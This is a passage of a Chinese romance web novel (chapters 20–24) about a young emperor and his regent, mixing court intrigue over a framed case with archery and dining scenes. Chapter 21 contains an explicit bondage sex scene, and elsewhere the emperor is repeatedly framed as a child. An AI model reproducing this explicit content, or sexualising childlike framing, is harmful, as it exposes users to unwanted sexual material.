宋南卿被强制拉起来,他睫毛胡乱扑扇,垂着头不敢看人,沈衡捏着脖子把他转过来,才发现他状态有些不对。 白里透红的脸蛋沾着汗珠,一点点白色的牙齿咬在下唇上,宋南卿在被转过来的一瞬间,就双手拽住了下身的衣袍往上抻平抬高,贴身的衣料被他高高扯起,挡住了里面的轮廓。 这种欲盖弥彰的动作,逃脱不了沈衡的法眼,他勾住宋南卿的腰带晃了下,道:“你看哪个小孩子像你这样。”—— 作者有话说:谢谢大家的评论和鼓励!明天还有哦[狗头叼玫瑰] 20-30 第21章 第二十一章 说谢谢了吗? 脱了皮的绿豆碾碎, 弄到每一寸颗粒都变为细腻丝滑,再添糖粉搅拌均匀,薄荷细细磨碎掺入其中, 最终装入模具压平压实, 这样一块绿豆糕就算大功告成。 宋南卿觉得自己现在像是一个被填了太多内陷的模具,只想溢出, 布满薄茧的手心每一次动作都让他灵魂出窍。 沈衡的床很大, 暗色的帷幔掉下来一半, 本就不太亮的烛光影影绰绰,宋南卿赤脚踩在被子上, 墨绿色暗纹提花的被褥衬得他皮肤更白, 蜷起的脚趾蹭在上面难耐搓动,时不时紧紧绷起,脚心弯成月牙的形状, 抬在半空僵住。 从床幔缝隙里传出宋南卿细碎的声音, 他全身都在颤抖, 受伤的手被腰带绑住手腕系在了床头, 动弹不得。 他的声音拔高, 膝盖贴在锦被处上下弹动,张开嘴唇费力急喘, 瞳孔慢慢开始扩散。 沈衡平静盯着他的脸,手指微动,宋南卿瞬间僵住了。 眼泪一点点从眼眶溢出, 他摇着头用力挣扎,系在床头的腰带拼命摇晃,但受了伤的手还是完好无损地被固定在那里,挣脱不得。 哭声倾泻而出, 逐渐变成难耐的尖叫,宋南卿挺腰挣扎,脸颊潮红一片,被子夹在腿间变得杂乱纠缠。 “说谢谢了吗?”沈衡薄唇微启。 宋南卿哽咽着摇头,一丝口水从嘴角滑落,尖声道:“谢谢……谢谢先生,求你、拜托了呜呜——谢谢、求求先生……” 他的声音原本清亮,此时带上了难耐的沙哑,绑手腕的腰带被拧得不成样子,在空中乱晃。每当宋南卿觉得自己终于要得到的时候,下一刻期待又落空。他踢蹬着小腿头发凌乱不堪,被弄到口水滴湿了脸下的锦被依然没得到解脱。 桌上那块成型的绿豆糕不知被什么压碎,粉末一点点轰然倒塌。 “利用我总该付出点代价的,嗯?下次记得早点说谢谢。”沈衡抬指擦去他嘴边的涎水,食指抚过肌肤时,宋南卿剧烈抖动,但一枚漂亮华丽的翡翠扳指固定在了他的身体上,任他怎么抖都掉落不了。 ———— 宋南卿第十次从瓶子里的绣球花上摘下花瓣,嘴中念念有词,又忽然捧住发红的脸,一头埋入自己的臂弯里。 桌上摆着四五份不同形状、不同颜色的绿豆糕,每一盘都足够精巧,但他就是觉得,和沈衡做的不一样,没有那种独特的味道。 蓝紫色的花瓣在桌上排成两列,宋南卿用指尖轻轻戳弄,檀木香插上插着一根燃了半截的香,青烟袅袅掩盖住了他的面容。 他拿着小木棒在香灰里挑拨,蜿蜒的痕迹拼凑成了一个名字的笔画。 一阵脚步声传来,春见快速走近对宋南卿道:“陛下,王大年翻供了,他说是贾大人和姚顺指使,让他陷害摄政王,他根本就不认识摄政王大人。” 宋南卿转过头,眉头一挑,手中的木棒斜斜搭在香灰里,他抱着胳膊问:“摄政王还在重华宫?” 春见点头:“禁足已经有三四日了。” “朝中情况如何?”因着沈衡本就身负皇恩和稳定江山社稷之名,摄政王想要谋杀皇帝的传言一起,朝中风声鹤唳,此时宋南卿又称病,已经有几日未曾上朝。 春见道:“陈御史说,本来摄政王支持者还算多,但因为这几日禁足,众人都在观望,加上王大年的供词,已经有不少人开始弹劾摄政王,说……” “说他残暴不仁、独断朝纲,禁军在他手中是祸害,军权需得下分。”宋南卿吹了吹已经结了薄薄一层痂的手心,缓缓道。 春见低头说:“陛下算无遗漏,只是还有些人说的不太好听。” 宋南卿轻笑,“你说就是,再不好听又不是说朕的。” “御史台那些人说,摄政王的罪证都已经确凿了,陛下还不降罪只是收权关押,与摄政王私情甚笃,不利于江山社稷。” 宋南卿凝眸,把手中的花瓣往桌面一抛,道:“算陈立文还有点用,走,去看看这个王大年。” ———— 仪鸾司诏狱昏暗,墙上遍布褐色痕迹,宋南卿穿着深绿色的衣袍,头上的冠镶嵌了五种颜色的彩宝,在地下昏暗的烛光里闪烁着莹莹光辉。他今日的衣服颜色很暗,只是上面绣的金色图样在这昏暗光晕下更显华贵,一尘不染的鞋踩在脏乱的地下牢狱中,有些格格不入。 魏进朝缓缓走来的宋南卿行了个礼,墨色皮质手套一直裹到腕骨,身上散发着淡淡的血腥气。 宋南卿眉头微皱离他远了些,背着手问:“王大年翻供了?” 魏进侧身,一面为他引路一边回到:“是,在这儿审了几天后突然改口,不认之前指认摄政王教唆他犯罪的证词。” “但不是说他那把短刀就是摄政王府上造的吗?”宋南卿躲着地上的脏污走,靠近牢房逼狭的走道,监狱看守拎着长长的钥匙盘,上面系着链子,牢房缝隙很窄,只够犯人伸出一只手。他看见了看守打开小门,往里面扔了个盛了一半饭的碗,混着泥土和干草,那些犯人却吃的狼吞虎咽。 几人一路走到最里面的牢房,牢房门没锁,一个身量高大的男人瘫坐在牢房角落,地上洒了一半饭菜,他有气进没气出,脖子挺得老高,嘴里“呜噜呜噜”往外冒着血沫。 魏进打开牢房大门,对宋南卿说:“短刀的确有摄政王府上的标记,但王大年此人认罪又翻供,刚刚说贾良大人指使他陷害摄政王,求圣上做主,不然不敢吐露真相,就晕了过去。” “圣上在此,王大年,你有什么罪现在立马认,有圣上在,没有人可以逼迫威胁你作伪证,但如果再敢说谎欺君罔上,就是诛九族的死罪。”魏进眸光冷戾,盯着地上的王大年。 地牢阴森,宋南卿在昏暗的光下感觉王大年看起来有些不对劲,他张着流血沫的嘴,却半天没发出一个音节。 “他是哑巴?”宋南卿表情很冷,瞥了一眼魏进。 魏进一愣,上前掰开人下巴查看王大年的情况,发现此人的声带被灼伤,已经不能说话了。 魏进单腿跪地对宋南卿认罪道:“是奴才看管不严,但半时辰前他还能说话,陛下恕罪。” 宋南卿扫了一眼那洒了一半的饭菜,道:“有人有心陷害,你也防不胜防,起来吧。” 魏进犹豫片刻,“奴才这就去彻查是谁在饭菜里下了毒,但这桩案子该如何结案,奴才愚钝,请陛下指示。” 角落里的王大年还在瑟缩,这桩案子牵扯了谋害圣上、首辅栽赃、摄政王谋反,但就是这样一个大案,始作俑者竟然就是这么一个看起来毫不起眼的人,搅动了宫廷风云变幻。 宋南卿拿出手帕擦了擦手,眼睛微眯,“结不了案才是这个案子最好的结果,魏进,你懂吗?” 薄薄的手帕带着乾清宫内室熏香的尾调,从宋南卿手指间滑落,最终蹭过魏进的膝盖,掉在了沾满尘埃的地上。 魏进握着刀浑身一震,望向宋南卿的眼神发生了变化,带上了一丝畏惧。 “奴才明白。”低低的声音和地上的灰尘混在一处,宋南卿抬脚转身往外走,脚步声逐渐远去,魏进捡起了地上那张帕子,柔软的织物仿佛还残留着一些气息,被男人塞进了自己袖子里。 从地牢出来,外面太阳正好升到高处,照在人身上暖洋洋的。阳光打在赤红色的朱墙上,缠着金龙的立柱影子映在地上,短短的影子随着太阳位置变化也随之拉长变短,黑色的影子绕着立柱转了一圈,太阳又重新从东方升起。 宣政殿大门拉开,阳光洒在地上一角,春见手里拿着圣旨,表情严肃,手里拂尘一甩,垂眼宣读: “陛下有旨,近日查核王大年一案,诸事已明,兹将处置结果昭告朝野,以正纲纪:姚顺身任京兆尹,掌京畿要务,却治政失察,结党营私,罪证确凿,现革去其京兆尹一职,贬为庶民。首辅贾良与姚顺过从甚密,失察失谏,难辞其咎,念其平日有功,责令闭门思过。摄政王辅政以来,勤勉有绩,然禁军乃国之利器,掌于亲贵久则易生嫌隙。为固国本,即日起,禁军统辖权暂由朕亲掌调度。诸臣当引以为戒,钦此。” 清晨的空气还是带着一丝寒凉,这道旨意一下,众臣内心一片哗然。 一开始只是禁军失察进来了个宫外人,后来交于京兆府和大理寺,又是搜出摄政王府上的短刀,又是翻供指认贾良教唆他陷害摄政王,最后交给仪鸾司审问,据说这个王大年不知为何,在最后要吐露真言的时候被毒哑了。案件不了了之,但在各位臣僚心里却是印下了不可磨灭的印记。 半只脚踏入宫门就是半只脚踏入了棺材,此话真是不假。首辅和摄政王斗法,这一招一式都是奔着弄死对方去的,他们这等小官,这下子是真不敢轻易站队了。 看起来已经一边倒的局势,竟然喘息之间就能倒转,那么惊天动地的案子,最后竟然没有定论,陛下只能两边都罚,拿姚顺做筏子平息事件。但谁都知道姚顺是贾良那派的,替他顶罪罢了。 但也有有心之人,从中看出了些门道。 内阁学士下了朝之后就跟在陈立文后面,和他一路从书法字画谈到为官之道,缠的陈立文抖着手瞪他,“郗大人,听说您爱子进了殿试,这马上就要考试了你不去关心他,跟着我做什么。” 此人就是那个神童郗渐的父亲,郗文康的弟弟郗武康。他官运倒是不错,虽然兄长之前因前朝的事闲赋在家,他自己倒是凭着好运气和势力入内阁了。但首辅是和郗家一向不对付的贾良,他只是作为一个牵制贾良存在的边缘人,虽然人在内阁,但却没什么说话的权力。 现在贾良不再一家独大,他也有了新的考量。 郗武康笑着和陈立文并排走,悄声道:“陈大人,别人不知道我可看得出来,摄政王和贾大人受此次风波,陛下对他们肯定失望。但您在陛下心中的位置可是提了不少,听说修编史书一事也交给陈大人您了?” “没影的事,说这个做什么。”陈立文道,“有什么事直说。” 郗武康也不再跟他兜圈:“大人一路高升必定前途无量,郗某只是希望大人能指点一二,您觉得哪棵大树能屹立不倒?” 陈立文瞥他两眼,道:“我是读圣贤书上来的,不知道哪有常青树,只知道忠君二字。” “这是自然,只是圣人也总有偏好,郗某着实看不明白。” 陈立文拍了拍他的肩膀,“圣人有什么偏好不是我等凡人可以揣度的,哪棵大树都有可能会倒。”说完他就一溜烟走了。 郗武康站在原地叹气,“怎么跟你们这些言官说话那么累呢。”—— 作者有话说:明天还有哦[狗头叼玫瑰] 第22章 第二十二章 你想被我拴在腰带上不下来…… 禁军训练场, 不远处的军营前插着的旗子在风中猎猎作响,沙场的土被风一吹扬起一片。训练有素的士兵在拿着武器练习合纵招式,有力的踏地声和指挥口令响彻训练场。 宋南卿今日把头发全梳起来了, 暗红色的紧袖短打衬得人十分干练, 高高束起的马尾在风中摇摆,眼神清明, 步伐利落, 丝毫没有养尊处优的懒怠, 反而有种上位者不明显的矜贵和凌厉。 但在一炷香前的轿子里,他还不是这样的。 宽敞的轿辇内, 宋南卿侧头透过窗帘缝隙看向外面, 黑白分明的眼睛时不时转动一下,眼球灵活的要命。在他第三次装作看风景其实又偷偷瞥沈衡的时候,被抓了个正着。 狭长的眼睛微挑, 沈衡把手肘支在大腿上, 朝他勾了下手指。 轿辇内的空气有些凝固, 宋南卿深深吸了一口气, 往前凑近了些许, 侧过头用脸颊蹭了蹭人的手指,不敢做出太亲密的举动。 禁军管辖权收回这件事, 他没有提前跟沈衡知会过,所以当眼看着失权的摄政王邀他去禁军训练营完成一些交接时,宋南卿心里还是有些慌张的。 不知道沈衡会怎么想, 但他想收回权力这件事,沈衡早就知道了,王大年一事牵连到沈衡,对方明明也知道就是自己设计的。但那天沈衡明明知道自己要这样做, 他还是没有阻止,任由自己往下推进,把权力拱手相让,所以宋南卿真的看不懂他是什么意思。 一根根睫毛排列浓密,微微朝上卷起,指腹触碰到前端,就引得宋南卿快速眨眼。他开始泛红的眼尾被轻轻摸过,沈衡端坐中间后背直立,垂下的袖子盖住了一半手背,修长干净的手指不轻不重抚摸着宋南卿的脸,意味深长说是宠爱也不过分。 但被那么摸着,宋南卿却觉得一股寒意从脊柱朝上升起,这个狭窄的空间里很安静,只听得到抬轿子的人走动的声音。 那种打量凝视的眼神,让宋南卿觉得自己面前就是一道深渊,他即将跌落粉身碎骨。 实在受不了沈衡不说话,他缓缓伸手拉住了男人的衣角,把头慢慢低下枕在了人大腿上,侧着脸小声说:“我错了,别不理我。” 因为头发束起,他的脸庞没了遮挡物,巴掌大的脸挤在人膝上,圆圆的眼睛里带着紧张和一丝讨好。 沈衡垂眼,墨绿色的腰带下是枕在自己腿上卖乖的少年,这会儿装的比谁都可怜,其实用起心机和手段,却比谁都决绝果断、毫不留情。 “陛下何错之有?这一局棋看鹬蚌相争,不损失一分就渔翁得利,手段是为上佳。”沈衡淡淡道。 宋南卿的嘴唇抿成一条直线,猛地从人腿上撑起来,正瞪圆了眼睛想说些什么,没料到头皮传来一阵痛意,他梳好的头发被沈衡腰带上镶嵌的金镶玉勾住了,一缕发丝挂在上面动弹不得。 “疼……疼!”宋南卿的嘴角立马耷拉下来,一手推着沈衡的腰带,一手拢住自己的头发想要扯出来。岂料他那么一扯,头发缠的更紧了。 沈衡抓住他的手把人固定住,“别乱动。”低头查看缠成一团的发丝,手指一点点解开,发尾绕在指尖盘旋成一个圈,细细密密的痒搔刮着粗糙的指腹,看起来顺滑柔软的头发扎起人来也是有攻击性的。 “好像解不开,我帮你割断吧?”沈衡捏着最后一小缕发丝说。 宋南卿立马拒绝:“不要!不许割,我每一根头发都仔细保养过的。” 沈衡轻笑:“那怎么办,你想被我拴在腰带上不下来?” 宋南卿不说话了。 在沉默中,他的头发终于被捋开解救了下来,本来整整齐齐的发丝从旁边散下来一小片,看着凌乱中又透着不正经,配上宋南卿微红的脸颊,更添了几分说不清的意味。 沈衡挑起他垂落的发丝重新用手指捋顺,妥善束起,低声说:“陛下以为,权力让渡那么容易?你可以去军营中看看,就算现在掌管禁军的是你,他们到底听谁的。” 听了这话,宋南卿终于抬起头直视沈衡,“所以你今天带我来,就是为了故意看我笑话吗?” “不是,我刚刚对陛下的夸奖是认真的,一箭双雕的计谋的确不错,但后续安排还需要徐徐图之。”沈衡冷静从容,好像这个计策对付的人不包括他一样,还在尽职尽责地做先生教宋南卿怎么处理好收回来的权力。 宋南卿摸了摸鬓边已经整理好的发丝,心中不知是何滋味,他看不懂沈衡。 一阵风吹过扬起沙石,宋南卿和沈衡并肩在禁军训练场观看他们新练习的招式。沈衡一一向宋南卿解说,从禁军编制到各个兵种的领头,再到作战方案。宋南卿听的认真,不经意间抬头看向沈衡,发现对方正在和一个士兵交谈武器。后面那些人看沈衡的目光都是一致的敬仰。 当初沈衡作为草原在大盛的质子,带着人马杀到科尔沁手刃生父草原王,再收复边疆班师回朝,以雷霆万钧之势接管军队接管朝廷,不能说不厉害。随着大盛军备充足,但核心人员还是那批摄政王的死忠,这个禁军,如果没有沈衡的首肯,他确实不可能那么容易就能撬动。 “之前没守好宫门一事已经小惩大诫,陛下不再降罪,但你们需仔细谨慎,听陛下安排指挥,绝不可再出纰漏。”沈衡的语气还是一贯的冷淡。 “是!”众将士气势如虹,齐声喊出时仿佛地都在震。宋南卿对上沈衡的眼神,又垂下眼帘,一个人往一旁走去。 训练场前方是几个孤零零立在那里的箭靶子,宋南卿随手拎起一把弓,搭上箭就朝前射去。一连射了三次,只有一枚在靶,还只是将将插上。 他晃了晃手腕,捏着箭尾的羽毛往外扯,脚指轻缩,在地上蹭了蹭。 沈衡看了他几眼,站定在他后方,一手包住宋南卿的手重新拎起弓,一手随意抽了一枚箭搭在弦上。 火热有力的手掌紧紧包裹住宋南卿,轻而易举就把弓弦拉满成弯月形状。这个姿势像是把少年拥在了怀里,宋南卿都不用回头就能感受到身后贴上来的气息和热气,手指被握着搭在弦上,耳边传来沈衡的声音:“松。” 宋南卿条件反射般松开了拉弓的手指,一枚弓箭带着摧枯拉朽的气势直直朝前射去,正中红色靶心。!!! 宋南卿转头看向沈衡,眼中带着雀跃和惊喜,蹦起来道:“射中了!” 沈衡淡淡点头,仿佛这对他来讲只是一件再平常不过的小事。 “怎么,那天教你射箭之人那么没用?”沈衡又抽出几支箭搭在弓上,眼睛注视的前方轻轻眯起,大手带着宋南卿的手,同时勾住三只箭,破风的声音呼啸而来,三支箭排列整齐,“刷”的一下全都死死钉在了靶心,四支箭正好圈出一个圆形。 宋南卿的手背还残留着他的温度,有力、潇洒,甚至瞄准都不需要瞄准,就这样箭无虚发,百步穿杨。 沈衡微微低头,感受到了一道炙热的眼神。 宋南卿那双大大的眼睛里全是崇拜和羡慕,窄袖把他细细的手腕包裹仔细,此时正搭在沈衡手臂上紧紧握着,少年被圈在怀里回头笑得灿烂,看他的眼睛里像是溢满了星光。 “教我……教教我!”宋南卿踮起脚仰着头请求道,马尾在风中扬起一个弧度,整个人都激动起来。 沈衡把弓递给他,从握弓姿势到瞄准角度一点点讲给他听,间或亲自上手给他演示,亲密的样子军营中每个人都看的清楚。 又一支箭射出,这次终于擦到圆环边了,只是又斜出去了些。宋南卿抬起胳膊擦了擦额头上的汗,不太高兴般扁扁嘴。 沈衡看他闷闷不乐的样子,掏出帕子来替他擦拭着鬓边的汗,道:“风向变了,你按我说的重新测一下风向再射一次。” 风吹的远处军旗都在摇晃,宋南卿吸了一口气重新拎起弓,搭箭、瞄准、拉弓,胳膊的角度侧了几分,随之射出去的箭终于击中了靶心。 据沈衡教他,已经过去了一个时辰。等到终于射中靶心,宋南卿才发觉自己的胳膊快要抬不起来了。 他的头顶被掌心轻抚,沈衡接过他手中的弓道:“很棒。” 简简单单的两个字,把这一个时辰的劳累冲淡了许多,宋南卿眨了眨眼,发觉一直盯着靶心那个点,自己的眼睛也很累。 他往左右扫了眼,发现大家都在各自训练,没人关注自己这边,于是放松了身体把头靠在了沈衡的肩膀上,轻声道:“你第一次射箭,也这样瞄不准吗?” 沈衡垂眸平静道:“不是,我第一次射箭,就射中了一匹狼。” 还是野狼中的头狼,如果他没射准,现在就不会站在这里。 宋南卿哼了一声,偏头在他肩膀上拱了拱,“好,先生是天才,我就不应该问你自取其辱。” “饿不饿?”沈衡带着笑意问,捏了捏某个小皇帝梗起脖子,“听说丰乐楼新上了麻辣兔肉,想不想去尝尝。” 宋南卿眼睛亮了亮,小巧的喉结上下滑动,然后垂眼说:“兔……兔肉啊,可是小兔子那么可爱…是不是有点残忍。” 《御男十术》中说,要学会示弱,还要善良、怜悯、圣洁,这样才会无害,引起男人的保护欲。他刚刚借刀杀人拿了沈衡手里的刀,怎么也得重新营造一下无害形象吧。 宋南卿轻轻搅着沈衡的袖口,装出一副悲天悯人的架势,如果嘴角不是口水而是泪水的话就更像了。 沈衡看他这幅样子,斜斜勾起嘴角道:“那怎么办,既然卿卿吃不了的话,那就只能我自己去了。” “别呀!我可以吃别的,走嘛走嘛!”他推着沈衡,“上次的果子汁也很好喝,不知道现在还有没有。” 车马朝着宫外驶去,宫门口禁军换了一批人,进出更加严格,没有皇帝手令,闲杂人等很难进出,仪鸾司侍卫也镇守其中。大理寺卿听说病的更严重了,有关朝廷官员的案件现在都交给了仪鸾司处理,总指挥使魏进也被定了品阶,一些官员现在看到他,反而要行礼了。 宫里进出变得困难,想接近皇上和运送物品也变得没那么轻易,贾良地位受损在家思过,之前还仗着家世耀武扬威的官员,今日言行无状说错一句话,明日可能这话就通过仪鸾司传到陛下耳朵里。没有贾良和言官作保,一时间大家都谨慎了许多。反观摄政王虽然权力看似削弱,但和陛下的关系好像更亲近了一些。 丰乐楼二楼大厅,宋南卿坐在窗边正在跟小二点菜,手指指着菜单滑来滑去,嘴里喋喋不休。等他点完一大堆重新抬起头,才发现沈衡的表情有些不对劲。 “出来用顿饭,把他也带来什么意思?”沈衡虚虚瞧着远处角落里的魏进,眸光一深—— 作者有话说:宋:怎么可以吃兔兔(流口水) 第23章 第二十三章 我养什么小男孩? 宋南卿单手托着下巴, 喝了一口果子汁,眼神随之望过去,道:“我可没让他跟着。” 在人声嘈杂的大厅, 他们这片角落可以说是闹中取静。宋南卿不爱在包厢吃, 更喜欢在外面观察人生百态众生相,但观察别人的同时就免不了被人观察。 沈衡淡淡道:“主人不吩咐擅自跟上来, 是条好狗吗?” 宋南卿夹了一筷子清炒时蔬, 心想能引起你不满, 就是一条好狗。但表面还是维持着平静,帮沈衡倒了杯茶道:“先生怎么跟我出来吃饭, 心思却放在旁人身上。” 微微荡起的眼波含着不满, 被茶水润过的唇瓣饱满多汁,他倒茶倒了一半,刚刚射箭使用过度的胳膊就开始抖动。沈衡忙接过他手中的茶壶, 把他的手推到一边, “这种事不是你该干的。” 指尖蹭过, 彼此皮肤的温度交换了一刹。 宋南卿就应该坐在龙椅之上受万人敬仰, 衣来伸手饭来张口, 只为万民忧心不为琐事烦恼。之前他之所以为了宋南卿低下身子勾引自己生气,原因也是在此。他看不得这个人不顺心、委曲求全, 即使是因为自己。 手臂的酸痛让宋南卿终于想起来问:“为什么你今天同意教我射箭了。” 菜一个接一个上来摆满了一桌,但听到这句话,二人的筷子都停止了动作。 深色的木窗前有阳光照射进来, 条形的阴影打在桌子上。宋南卿的脸一半在阳光里,一半被阴影遮挡,额前的一缕碎发随微风摇晃。 沈衡握着茶杯,看了他一眼, “前几日不是说,还是有自己保命的手段好,不然谁也靠不住。” “所以先生是觉得保护不了我了?”宋南卿仰着脸问,头上系的深红色飘带和头发混在一起,搭在肩膀上轻轻扬起,“还是真的会有让我靠不住的一天。” 麻辣鲜香的兔肉丁出锅,盛在又大又圆的盘子里端上桌,冒着阵阵热气。沈衡夹了一块兔肉放到对面碟子里,道:“先用饭,别的事吃完再说。” 一声脆响,宋南卿把筷子扔在了桌上,“你为什么不生气?”他的眼睛里泄出了浓烈的情绪,看着沈衡的样子像是在逼问。 “是不是还是把我当小孩,我做的一切在你眼里都是小打小闹,你根本就不在意禁军管辖权,也不在意我是不是要对付你,因为觉得这些都威胁不了你。” 这边发出的动静引得后方魏进投来视线。 沈衡抬眼,对着桌上零落的筷子轻抬下巴,“捡起来。”他的声音不大,但很沉,像是太阳沉入西山后地平线那段蓝黑交织的阴郁。 宋南卿不动,盯着盘子里那块孤零零的兔肉,明明身处阳光下却莫名看起来有几分孤寂。 “到底在闹什么,想让我有什么反应?”沈衡把手撑在旁边宋南卿坐的长凳上,单手握住边缘一拉,少年连人带凳子都被送到了他怀里。 结实有力的臂膀撑在宋南卿身侧,沈衡低头看他,呼出的气息打在人脸上,“觉得我不在意你?” 宋南卿摇头,他只是觉得离沈衡越来越远了。随着长大,随着懂事,他意识到自己和沈衡中间隔着的不是墙,而是山,是地位割裂身份倒转日复一日越来越高的山。 沈衡是老师,是兄长,是摄政之臣,是合作伙伴,但,帝王不需要这些。他学到的帝王之术是皇帝不需要感情,不能依赖、不能把安全感交给别人,他越接近一个皇帝,就越远离沈衡。 “既要当小孩子享受我的宠爱,又要证明自己长大了可以威胁到我,卿卿是不是要的太多了?”沈衡凝眸,声音听不出喜怒,“陛下想要我什么反应,就此翻脸和你站在对立面,还是像以前玩闹一般给你几个板子。” 宋南卿瑟缩了一下,但手腕却被攥住了。 “狠而无心,才是为君之道,卿卿还是心软了,没必要自责。”沈衡摸着他指头上的茧子道。在最后关头王大年被毒哑,是宋南卿自己设计的纰漏,或许是因为还需要他和贾良相互制衡,也或许是因为别的,虽然他有手段能让自己全身而退,但宋南卿也保留了余地,没有彻底给他扣上谋反的帽子。 “我才不是自责。”宋南卿嘴硬道,他是想削权没错,但沈衡太特殊了,他怕沈衡在意自己的做法,又怕他不在意自己的做法,所以今天才会情绪波动控制不好。 “没关系,尽管把我教你的施展在我身上。”沈衡挑眉道,“看看陛下学的到底怎么样。” 宋南卿有些发愣,还有些不可置信,呆呆望着眼前的人,嘴唇动了动轻声说:“如果我让你迈进鬼门关了呢?” 那三个字声音轻的几乎不可闻,但沈衡还是听见了,回道:“你是太相信自己,还是太不相信我?” 坐在身旁的男人一如既往坚不可摧,像山峰永远屹立不倒,又像河流能把自己妥善包裹围绕,带来沁凉舒缓的温柔。宋南卿把脸轻轻靠过去,抵在人肩膀上。衣袖掩盖下,他把手指缠绕在人手心,慢慢相扣。 “我相信自己,也相信你。” 沈衡看着那双明亮眸子,胸口微微发紧,单手夹起一块兔肉要放入嘴里,但被人半道截胡。 少年张嘴猛地往前一伸头,糯白的牙齿咬住筷子就把那块兔肉吞入嘴里,在咀嚼之间,麻辣咸香全都融在一起,丝丝入扣。 沈衡笑了笑,问:“不是说兔子可爱,不忍心吃吗?” 宋南卿睁大眼睛瞪他,挽起袖子准备大快朵颐,岂料桌上那双被他扔下去的筷子不见踪迹,旁边筷子桶里也没有多余的了,他知道这是因为刚刚自己扔筷子的失礼举动,引起了沈衡不快。对于沈衡规定的不可以做的事,他如果违反了肯定会有惩罚,所以对于这顿饭失去筷子使用权这件事,宋南卿接受良好。 少年眉毛上扬道:“我那么可爱你都舍得欺负我,我还有什么不忍心的。”他盯着沈衡手中的筷子,鼓起脸颊。对面的人吃饭姿势不慢,但又带着十足优雅,观赏性很高,但这时候他可没心情欣赏这个,他点了一桌子爱吃的结果现在只能看着沈衡吃。 “我想吃那个鱼。”宋南卿又往旁边坐了一些,扯了扯沈衡的袖子。 雪白的鱼肉中刺被一点点挑出,又浸足了汤汁,呈现出琥珀色来,鱼腹下最嫩的那一块边缘都是晶莹的,此刻正在沈衡的盘子里泛着诱人的光。 宋南卿吞了吞口水,一脸热切望着人,眼神盯着那块鱼肉不住对着沈衡点头,双手交握放在胸前举起,轻轻前后晃,大大的眼睛里闪着光,微微张开的嘴里可以看见一小截粉红的舌头。 的确很可爱,沈衡想。 他夹起那块鱼肉往前送,被宋南卿一口吞下。 九五至尊的某位皇帝陛下,眼巴巴看着沈衡把桌上的菜尝了个遍,不满地敲着桌子。就在宋南卿撇着嘴终于吃到想吃的菜时,听见旁边路过的一个小孩说:“娘亲,你不是说五岁就是大孩子了,不可以再被喂饭要自己吃了吗?可是那个哥哥那么大了还是不会自己吃饭哎。” 宋南卿一口米饭含在嘴里,脸颊瞬间绯红。偏偏这个时候沈衡把盛了汤的勺子朝他嘴边递,“没事,卿卿才四岁,不要紧。” 脸颊上的红开始弥漫,上到耳朵下到脖颈红成一片,宋南卿整个人快埋到地里了,双手捂着脸躲避这一切,好像只要看不见,他就可以当做一切都没有发生过。一种说不清的羞耻感,让他浑身紧绷。 平日亵裤之类的贴身衣物都是沈衡帮忙穿的,他都没有丝毫害羞,但现在在大庭广众说出来,他却有种奇异的羞耻,吃饭失去自主权好像真的是种惩罚…… 耳边是沈衡应付小朋友的声音:“他会自己吃,只是喜欢被我喂。” 宋南卿咬着牙在底下踩了他一脚,他要的也不是这种解释啊!而且到底是谁喜欢了? 不过很快,那个小孩就被他娘亲领走了,宋南卿终于舍得抬起头,刚准备谴责什么,嘴角就被柔软的帕子擦拭而过,带来一丝若有似无的清香。 宋南卿捏住那个帕子一角不松手。 沈衡道:“上次那个被你拿走,到现在也没还回来。” “不知道被我放哪儿去了,再给我一个嘛。”宋南卿抬眼道。 沈衡不允,“万一丢到哪儿,被人捡去说我私相授受,有损清誉。” 宋南卿懂他的意思,却故意唱反调:“什么清誉?我可听说摄政王之前在凤栖楼带了人回家,有人在我面前还想参你一笔作风混乱、豢养小男孩呢。” 沈衡眯了眯眼睛,凑近道:“再说一次,参我什么?” 宋南卿怂了,绕着头上的发带在手指转圈,“没有……” “我养什么小男孩?”在外面,沈衡也没有和他做什么过分动作,只是也把手放在了那根暗红色发带上,少年被扯的不得不低头靠近几分。 晃动的阳光投射在眼前,引得人眼晕心也颤,离近了之后宋南卿又闻到了沈衡身上那个似檀香又似燃烧木头的香气,很淡但很勾人,他深吸一口气,不知不觉就又凑近了几分,脸颊差点蹭到人下巴。头上那根带子被拽住往后扯,拉开了二人之间的距离。 宋南卿如梦初醒,睫毛颤颤呼吸了几次,才断断续续道:“养…我,我不知道。” 这个角度下,宋南卿的脸多了几分幼态,被拽着发带被迫仰起脸,看人的时候眼神还有些懵,纯的要命。 沈衡定定看了他一会儿,手指搓动似在忍耐什么,最终还是上手掐了把少年的脸颊。 玫瑰膏子日日滋养,宋南卿的脸柔软又滑嫩,触手生香、弹性十足,手指掐上去就陷入一片细腻里,让人根本没办法撒手。 但比起细嫩的脸颊,手指还是稍显粗粝,没几下就磨出一片粉红。宋南卿抬起一边肩膀去顶人的手臂。 沈衡慢慢松开手,一字一顿道:“没有小男孩。” "哦…"宋南卿眼睛转了转道,“上次去你府上,有个新来的小厮明明就是小男孩,那个给我擦手的。” “他给你擦手了?谁?”沈衡突然问,重音放到了“你”上,表情有些阴沉。 宋南卿鼓了鼓脸,看向他道:“不告诉你。”看着沈衡的脸色,他又加了一句,“没有,只是帮我递帕子而已,你可别又切手指,我不喜欢。” “嗯。”沈衡应了一声,把新上来的牛乳羹递到他面前,勺子在碗里传了个圈。 宋南卿不接,抱着手臂斜斜看着他道:“我才四岁。” 沈衡露出不明显的笑意,拿起勺子送到他嘴边,低头意味不明道:“那确实是在养小男孩。” 白瓷勺盛着雪白顺滑的牛乳,触碰到宋南卿翘起的唇珠,红艳的唇瓣沾上了白色的奶渍,被伸出的舌头舔了一圈。 宋南卿没听清他说什么,抬起眼睛问:“什么?” 奶渍沾染上唇,未收回的舌尖上还能看见一点白汁,由于疑惑探寻而睁大的眼睛看起来更圆了。 沈衡轻轻呼出一口气,手指握紧勺柄。 “无事……”—— 作者有话说:大家评论我都有看到!这周依然四更[撒花] 第24章 第二十四章 臣求之不得 “今天科举殿试你真不去啊?” 清晨窗外的鸟发出脆生生的叫声, 乾清宫重门半掩,宋南卿闭着眼睛任沈衡给他穿衣服。今天是他主事改革以来第一次科举殿试,所以要穿的很正式威严, 大清早就起来了还没过那阵困劲, 东倒西歪地还抱着枕头不撒手。一个十分不配合打扮的小皇帝,听到沈衡不去他更有些烦了, 扭来扭去就是不抬手。 一层层衣物套上去, 还没开始出门他就已经累了。 沈衡把最外层的外袍给他披上, 黄色的暗纹提花织锦缎,是独属于皇帝的颜色。 “今日有别的事, 走不开。” 宋南卿左右摇晃着任人摆布, 突然感觉胸前有些不对劲,半睁开眼睛握住沈衡的手臂说:“中衣好像开了,你先别系腰带。” 